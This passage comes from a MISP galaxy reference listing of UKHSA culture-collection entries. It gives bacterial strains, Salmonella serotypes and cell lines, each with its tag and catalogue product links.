https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-3
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-7

Bacillus circulans

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus circulans"*

Table 28603. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-circulans
https://www.culturecollections.org.uk/nop/product/bacillus-circulans-3
https://www.culturecollections.org.uk/nop/product/bacillus-circulans-2

Comamonas terrigena

The tag is: *misp-galaxy:ukhsa-culture-collections="Comamonas terrigena"*

Table 28604. Table References

Links
https://www.culturecollections.org.uk/nop/product/comamonas-terrigena-2
https://www.culturecollections.org.uk/nop/product/comamonas-terrigena
https://www.culturecollections.org.uk/nop/product/comamonas-terrigena-3

Haemophilus haemoglobinophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus haemoglobinophilus"*

Table 28605. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-haemoglobinophilus
https://www.culturecollections.org.uk/nop/product/haemophilus-haemoglobinophilus-3
https://www.culturecollections.org.uk/nop/product/haemophilus-haemoglobinophilus-2

Corynebacterium kutscheri

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium kutscheri"*

Table 28606. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-kutscheri-2
https://www.culturecollections.org.uk/nop/product/corynebacterium-kutscheri-5
https://www.culturecollections.org.uk/nop/product/corynebacterium-kutscheri-3
https://www.culturecollections.org.uk/nop/product/corynebacterium-kutscheri
https://www.culturecollections.org.uk/nop/product/corynebacterium-kutscheri-4

Clostridium sphenoides

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium sphenoides"*

Table 28607. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-sphenoides

Bordetella bronchiseptica

The tag is: *misp-galaxy:ukhsa-culture-collections="Bordetella bronchiseptica"*

Table 28608. Table References

Links
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-3
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-16
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-11
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-9
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-13
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-8
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-2
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-15
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-10
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-17
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-12
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-5
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-6
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-7
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-4
https://www.culturecollections.org.uk/nop/product/bordetella-bronchiseptica-14

Megasphaera micronuciformis

The tag is: *misp-galaxy:ukhsa-culture-collections="Megasphaera micronuciformis"*

Table 28609. Table References

Links
https://www.culturecollections.org.uk/nop/product/megasphaera-micronuciformis

Elizabethkingia anophelis

The tag is: *misp-galaxy:ukhsa-culture-collections="Elizabethkingia anophelis"*

Table 28610. Table References

Links
https://www.culturecollections.org.uk/nop/product/elizabethkingia-anophelis

Listeria marthii

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria marthii"*

Table 28611. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-marthii

Mycobacterium vaccae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium vaccae"*

Table 28612. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-vaccae

Mycobacterium thermoresistibile

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium thermoresistibile"*

Table 28613. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-thermoresistibile

Mycobacterium terrae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium terrae"*

Table 28614. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-terrae

Mycobacterium rhodesiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium rhodesiae"*

Table 28615. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-rhodesiae

Mycobacterium phlei

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium phlei"*

Table 28616. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-phlei-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-phlei
https://www.culturecollections.org.uk/nop/product/mycobacterium-phlei-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-phlei-4
https://www.culturecollections.org.uk/nop/product/mycobacterium-phlei-5
https://www.culturecollections.org.uk/nop/product/mycobacterium-phlei-6

Mycobacterium gilvum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium gilvum"*

Table 28617. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-gilvum

Mycobacterium gadium

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium gadium"*

Table 28618. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-gadium

Mycobacterium flavescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium flavescens"*

Table 28619. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-flavescens

Mycobacterium chitae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium chitae"*

Table 28620. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-chitae
https://www.culturecollections.org.uk/nop/product/mycobacterium-chitae-2

Mycobacterium chelonae subsp. chelonae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium chelonae subsp. chelonae"*

Table 28621. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-chelonae-subsp-chelonae

Mycobacterium aurum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium aurum"*

Table 28622. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-aurum
https://www.culturecollections.org.uk/nop/product/mycobacterium-aurum-4
https://www.culturecollections.org.uk/nop/product/mycobacterium-aurum-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-aurum-2

Mycobacterium aichiense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium aichiense"*

Table 28623. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-aichiense

CFPAC-1

The tag is: *misp-galaxy:ukhsa-culture-collections="CFPAC-1"*

Table 28624. Table References

Links
https://www.culturecollections.org.uk/nop/product/cfpac-1

Streptococcus gallolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus gallolyticus"*

Table 28625. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-gallolyticus

Salmonella enterica subsp. enterica serotype Niarembe

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Niarembe"*

Table 28626. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-niarembe

Prevotella loescheii

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella loescheii"*

Table 28627. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-loescheii

Streptococcus gordonii

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus gordonii"*

Table 28628. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-gordonii-7
https://www.culturecollections.org.uk/nop/product/streptococcus-gordonii-4
https://www.culturecollections.org.uk/nop/product/streptococcus-gordonii-6
https://www.culturecollections.org.uk/nop/product/streptococcus-gordonii-5
https://www.culturecollections.org.uk/nop/product/streptococcus-gordonii-3
https://www.culturecollections.org.uk/nop/product/streptococcus-gordonii
https://www.culturecollections.org.uk/nop/product/streptococcus-gordonii-2

Clostridium drakei

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium drakei"*

Table 28629. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-drakei

Paenibacillus chibensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Paenibacillus chibensis"*

Table 28630. Table References

Links
https://www.culturecollections.org.uk/nop/product/paenibacillus-chibensis

Streptococcus equi

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus equi"*

Table 28631. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-equi

Neisseria maccae

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria maccae"*

Table 28632. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-maccae

Avibacterium endocarditidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Avibacterium endocarditidis"*

Table 28633. Table References

Links
https://www.culturecollections.org.uk/nop/product/avibacterium-endocarditidis

Achromobacter sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Achromobacter sp."*

Table 28634. Table References

Links
https://www.culturecollections.org.uk/nop/product/achromobacter-sp
https://www.culturecollections.org.uk/nop/product/achromobacter-sp-6
https://www.culturecollections.org.uk/nop/product/achromobacter-sp-3
https://www.culturecollections.org.uk/nop/product/achromobacter-sp-4
https://www.culturecollections.org.uk/nop/product/achromobacter-sp-2
https://www.culturecollections.org.uk/nop/product/achromobacter-sp-5

Lactobacillus plantarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus plantarum"*

Table 28635. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-plantarum

Bergeriella denitrificans

The tag is: *misp-galaxy:ukhsa-culture-collections="Bergeriella denitrificans"*

Table 28636. Table References

Links
https://www.culturecollections.org.uk/nop/product/bergeriella-denitrificans

MCF7/LetR-1

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/LetR-1"*

Table 28637. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7letr-1

MCF7/ExeR-4

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/ExeR-4"*

Table 28638. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7exer-4

MCF7/AnaR-4

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/AnaR-4"*

Table 28639. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7anar-4

T47D/TR-1

The tag is: *misp-galaxy:ukhsa-culture-collections="T47D/TR-1"*

Table 28640. Table References

Links
https://www.culturecollections.org.uk/nop/product/t47dtr-1

T47D/S2

The tag is: *misp-galaxy:ukhsa-culture-collections="T47D/S2"*

Table 28641. Table References

Links
https://www.culturecollections.org.uk/nop/product/t47ds2

MCF7/TAMR-7

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/TAMR-7"*

Table 28642. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7tamr-7

MCF7/182R-6

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/182R-6"*

Table 28643. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7182r-6

MCF7/S0.5

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/S0.5"*

Table 28644. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7s05

Nd ES

The tag is: *misp-galaxy:ukhsa-culture-collections="Nd ES"*

Table 28645. Table References

Links
https://www.culturecollections.org.uk/nop/product/nd-es

Salmonella enterica subsp. enterica serotype Hadar

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Hadar"*

Table 28646. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-hadar

Salmonella enterica subsp. enterica serotype Duval

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Duval"*

Table 28647. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-duval

Salmonella enterica subsp. enterica serotype Curacao

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Curacao"*

Table 28648. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-curacao

Salmonella enterica subsp. enterica serotype Chicago

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Chicago"*

Table 28649. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-chicago

Salmonella enterica subsp. enterica serotype Bonn

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Bonn"*

Table 28650. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bonn

Salmonella enterica subsp. enterica serotype Ball

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Ball"*

Table 28651. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-ball

Salmonella enterica subsp. enterica serotype Albany

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Albany"*

Table 28652. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-albany

Salmonella enterica subsp. enterica serotype Bristol

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Bristol"*

Table 28653. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bristol

Salmonella enterica subsp. enterica serotype Bracknell

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Bracknell"*

Table 28654. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bracknell

Salmonella enterica subsp. salamae serotype Windhoek

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Windhoek"*

Table 28655. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-windhoek

Salmonella enterica subsp. enterica serotype Bergen

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Bergen"*

Table 28656. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bergen

Salmonella enterica subsp. enterica serotype Fresno

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Fresno"*

Table 28657. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-fresno-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-fresno

Salmonella enterica subsp. enterica serotype Deversoir

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Deversoir"*

Table 28658. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-deversoir

Salmonella enterica subsp. enterica serotype Shanghai

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Shanghai"*

Table 28659. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-shanghai

Salmonella enterica subsp. enterica serotype Azteca

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Azteca"*

Table 28660. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-azteca

Salmonella enterica subsp. enterica serotype Strasbourg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Strasbourg"*

Table 28661. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-strasbourg

Salmonella enterica subsp. salamae serotype Krugersdorp

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Krugersdorp"*

Table 28662. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-krugersdorp

Salmonella enterica subsp. enterica serotype Java

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Java"*

Table 28663. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-java-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-java-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-java-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-java-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-java

Salmonella enterica subsp. salamae serotype Uphill

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Uphill"*

Table 28664. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-uphill

Salmonella enterica subsp. enterica serotype Weston

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Weston"*

Table 28665. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-weston

Salmonella enterica subsp. enterica serotype Langford

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Langford"*

Table 28666. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-langford

Salmonella enterica subsp. enterica serotype Sarajane

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Sarajane"*

Table 28667. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-sarajane

Salmonella enterica subsp. enterica serotype Marylebone

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Marylebone"*

Table 28668. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-marylebone

Salmonella enterica subsp. salamae serotype Bleadon

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Bleadon"*

Table 28669. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-bleadon

Salmonella enterica subsp. enterica serotype Taunton

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Taunton"*

Table 28670. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-taunton

Salmonella enterica subsp. enterica serotype Livingstone

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Livingstone"*

Table 28671. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-livingstone

Salmonella enterica subsp. enterica serotype Wagenia

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Wagenia"*

Table 28672. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-wagenia

Salmonella enterica subsp. enterica serotype Banana

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Banana"*

Table 28673. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-banana

Salmonella enterica subsp. enterica serotype Nessziona

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Nessziona"*

Table 28674. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-nessziona

Salmonella enterica subsp. enterica serotype Praha

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Praha"*

Table 28675. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-praha

Salmonella enterica subsp. enterica serotype Wien

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Wien"*

Table 28676. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-wien

Salmonella enterica subsp. enterica serotype Telhashomer

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Telhashomer"*

Table 28677. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-telhashomer

Salmonella enterica subsp. enterica serotype Elisabethville

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Elisabethville"*

Table 28678. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-elisabethville

Salmonella enterica subsp. enterica serotype Salford

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Salford"*

Table 28679. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-salford-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-salford

Salmonella enterica subsp. enterica serotype Kinshasa

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kinshasa"*

Table 28680. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kinshasa

Salmonella enterica subsp. enterica serotype Ndolo

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Ndolo"*

Table 28681. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-ndolo

Salmonella enterica subsp. enterica serotype Westhampton

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Westhampton"*

Table 28682. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-westhampton

Lactobacillus rhamnosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus rhamnosus"*

Table 28683. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-rhamnosus
https://www.culturecollections.org.uk/nop/product/lactobacillus-rhamnosus-2

GR-M

The tag is: *misp-galaxy:ukhsa-culture-collections="GR-M"*

Table 28684. Table References

Links
https://www.culturecollections.org.uk/nop/product/gr-m

Trueperella pyogenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Trueperella pyogenes"*

Table 28685. Table References

Links
https://www.culturecollections.org.uk/nop/product/trueperella-pyogenes-2
https://www.culturecollections.org.uk/nop/product/trueperella-pyogenes

Alloprevotella tannerae

The tag is: *misp-galaxy:ukhsa-culture-collections="Alloprevotella tannerae"*

Table 28686. Table References

Links
https://www.culturecollections.org.uk/nop/product/alloprevotella-tannerae

Pediococcus pentosaceus

The tag is: *misp-galaxy:ukhsa-culture-collections="Pediococcus pentosaceus"*

Table 28687. Table References

Links
https://www.culturecollections.org.uk/nop/product/pediococcus-pentosaceus
https://www.culturecollections.org.uk/nop/product/pediococcus-pentosaceus-3
https://www.culturecollections.org.uk/nop/product/pediococcus-pentosaceus-2

10(AAT) Clone A

The tag is: *misp-galaxy:ukhsa-culture-collections="10(AAT) Clone A"*

Table 28688. Table References

Links

https://www.culturecollections.org.uk/nop/product/10aat-clone-a

BM92

The tag is: *misp-galaxy:ukhsa-culture-collections="BM92"*

Table 28689. Table References

Links
https://www.culturecollections.org.uk/nop/product/bm92

PC-12

The tag is: *misp-galaxy:ukhsa-culture-collections="PC-12"*

Table 28690. Table References

Links
https://www.culturecollections.org.uk/nop/product/pc-12

IMR-33

The tag is: *misp-galaxy:ukhsa-culture-collections="IMR-33"*

Table 28691. Table References

Links
https://www.culturecollections.org.uk/nop/product/imr-33

U-87 MG

The tag is: *misp-galaxy:ukhsa-culture-collections="U-87 MG"*

Table 28692. Table References

Links
https://www.culturecollections.org.uk/nop/product/u-87-mg

K1

The tag is: *misp-galaxy:ukhsa-culture-collections="K1"*

Table 28693. Table References

Links
https://www.culturecollections.org.uk/nop/product/k1

Parascardovia denticolens

The tag is: *misp-galaxy:ukhsa-culture-collections="Parascardovia denticolens"*

Table 28694. Table References

Links
https://www.culturecollections.org.uk/nop/product/parascardovia-denticolens

Scardovia inopinata

The tag is: *misp-galaxy:ukhsa-culture-collections="Scardovia inopinata"*

Table 28695. Table References

Links
https://www.culturecollections.org.uk/nop/product/scardovia-inopinata

Streptococcus sobrinus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus sobrinus"*

Table 28696. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-sobrinus-3
https://www.culturecollections.org.uk/nop/product/streptococcus-sobrinus-4
https://www.culturecollections.org.uk/nop/product/streptococcus-sobrinus
https://www.culturecollections.org.uk/nop/product/streptococcus-sobrinus-2

A2780ADR

The tag is: *misp-galaxy:ukhsa-culture-collections="A2780ADR"*

Table 28697. Table References

Links
https://www.culturecollections.org.uk/nop/product/a2780adr

A2780cis

The tag is: *misp-galaxy:ukhsa-culture-collections="A2780cis"*

Table 28698. Table References

Links

https://www.culturecollections.org.uk/nop/product/a2780cis

AR42J

The tag is: *misp-galaxy:ukhsa-culture-collections="AR42J"*

Table 28699. Table References

Links
https://www.culturecollections.org.uk/nop/product/ar42j

RAJI

The tag is: *misp-galaxy:ukhsa-culture-collections="RAJI"*

Table 28700. Table References

Links
https://www.culturecollections.org.uk/nop/product/raji

Bacteroides thetaiotaomicron

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides thetaiotaomicron"*

Table 28701. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-thetaiotaomicron-2
https://www.culturecollections.org.uk/nop/product/bacteroides-thetaiotaomicron

Streptobacillus hongkongensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptobacillus hongkongensis"*

Table 28702. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptobacillus-hongkongensis

TGP 55

The tag is: *misp-galaxy:ukhsa-culture-collections="TGP 55"*

Table 28703. Table References

Links
https://www.culturecollections.org.uk/nop/product/tgp-55

TGP 54

The tag is: *misp-galaxy:ukhsa-culture-collections="TGP 54"*

Table 28704. Table References

Links
https://www.culturecollections.org.uk/nop/product/tgp-54

TGP 52

The tag is: *misp-galaxy:ukhsa-culture-collections="TGP 52"*

Table 28705. Table References

Links
https://www.culturecollections.org.uk/nop/product/tgp-52

TGP 49

The tag is: *misp-galaxy:ukhsa-culture-collections="TGP 49"*

Table 28706. Table References

Links
https://www.culturecollections.org.uk/nop/product/tgp-49

T47D

The tag is: *misp-galaxy:ukhsa-culture-collections="T47D"*

Table 28707. Table References

Links
https://www.culturecollections.org.uk/nop/product/t47d

Salmonella enterica subsp. enterica serotype Havana

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Havana"*

Table 28708. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-havana

293

The tag is: *misp-galaxy:ukhsa-culture-collections="293"*

Table 28709. Table References

Links
https://www.culturecollections.org.uk/nop/product/293

Vero-Hektor

The tag is: *misp-galaxy:ukhsa-culture-collections="Vero-Hektor"*

Table 28710. Table References

Links
https://www.culturecollections.org.uk/nop/product/vero-hektor

Vero (AC-free)

The tag is: *misp-galaxy:ukhsa-culture-collections="Vero (AC-free)"*

Table 28711. Table References

Links
https://www.culturecollections.org.uk/nop/product/vero-ac-free

PNT2 (SERUM FREE)

The tag is: *misp-galaxy:ukhsa-culture-collections="PNT2 (SERUM FREE)"*

Table 28712. Table References

Links
https://www.culturecollections.org.uk/nop/product/pnt2-serum-free

PNT1A (SERUM FREE)

The tag is: *misp-galaxy:ukhsa-culture-collections="PNT1A (SERUM FREE)"*

Table 28713. Table References

Links
https://www.culturecollections.org.uk/nop/product/pnt1a-serum-free

COS-7-InVitrus

The tag is: *misp-galaxy:ukhsa-culture-collections="COS-7-InVitrus"*

Table 28714. Table References

Links
https://www.culturecollections.org.uk/nop/product/cos-7-invitrus

COS-1-InVitrus

The tag is: *misp-galaxy:ukhsa-culture-collections="COS-1-InVitrus"*

Table 28715. Table References

Links
https://www.culturecollections.org.uk/nop/product/cos-1-invitrus

Salmonella enterica subsp. enterica serotype Lindi

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Lindi"*

Table 28716. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-lindi

Salmonella enterica subsp. enterica serotype Uzaramo

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Uzaramo"*

Table 28717. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-uzaramo

Salmonella enterica subsp. enterica serotype Mgulani

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Mgulani"*

Table 28718. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-mgulani

Salmonella enterica subsp. enterica serotype Stockholm

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Stockholm"*

Table 28719. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-stockholm

Salmonella enterica subsp. enterica serotype Emek

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Emek"*

Table 28720. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-emek

Salmonella enterica subsp. enterica serotype Clerkenwell

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Clerkenwell"*

Table 28721. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-clerkenwell

Salmonella enterica subsp. enterica serotype Oxford

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Oxford"*

Table 28722. Table References

Links

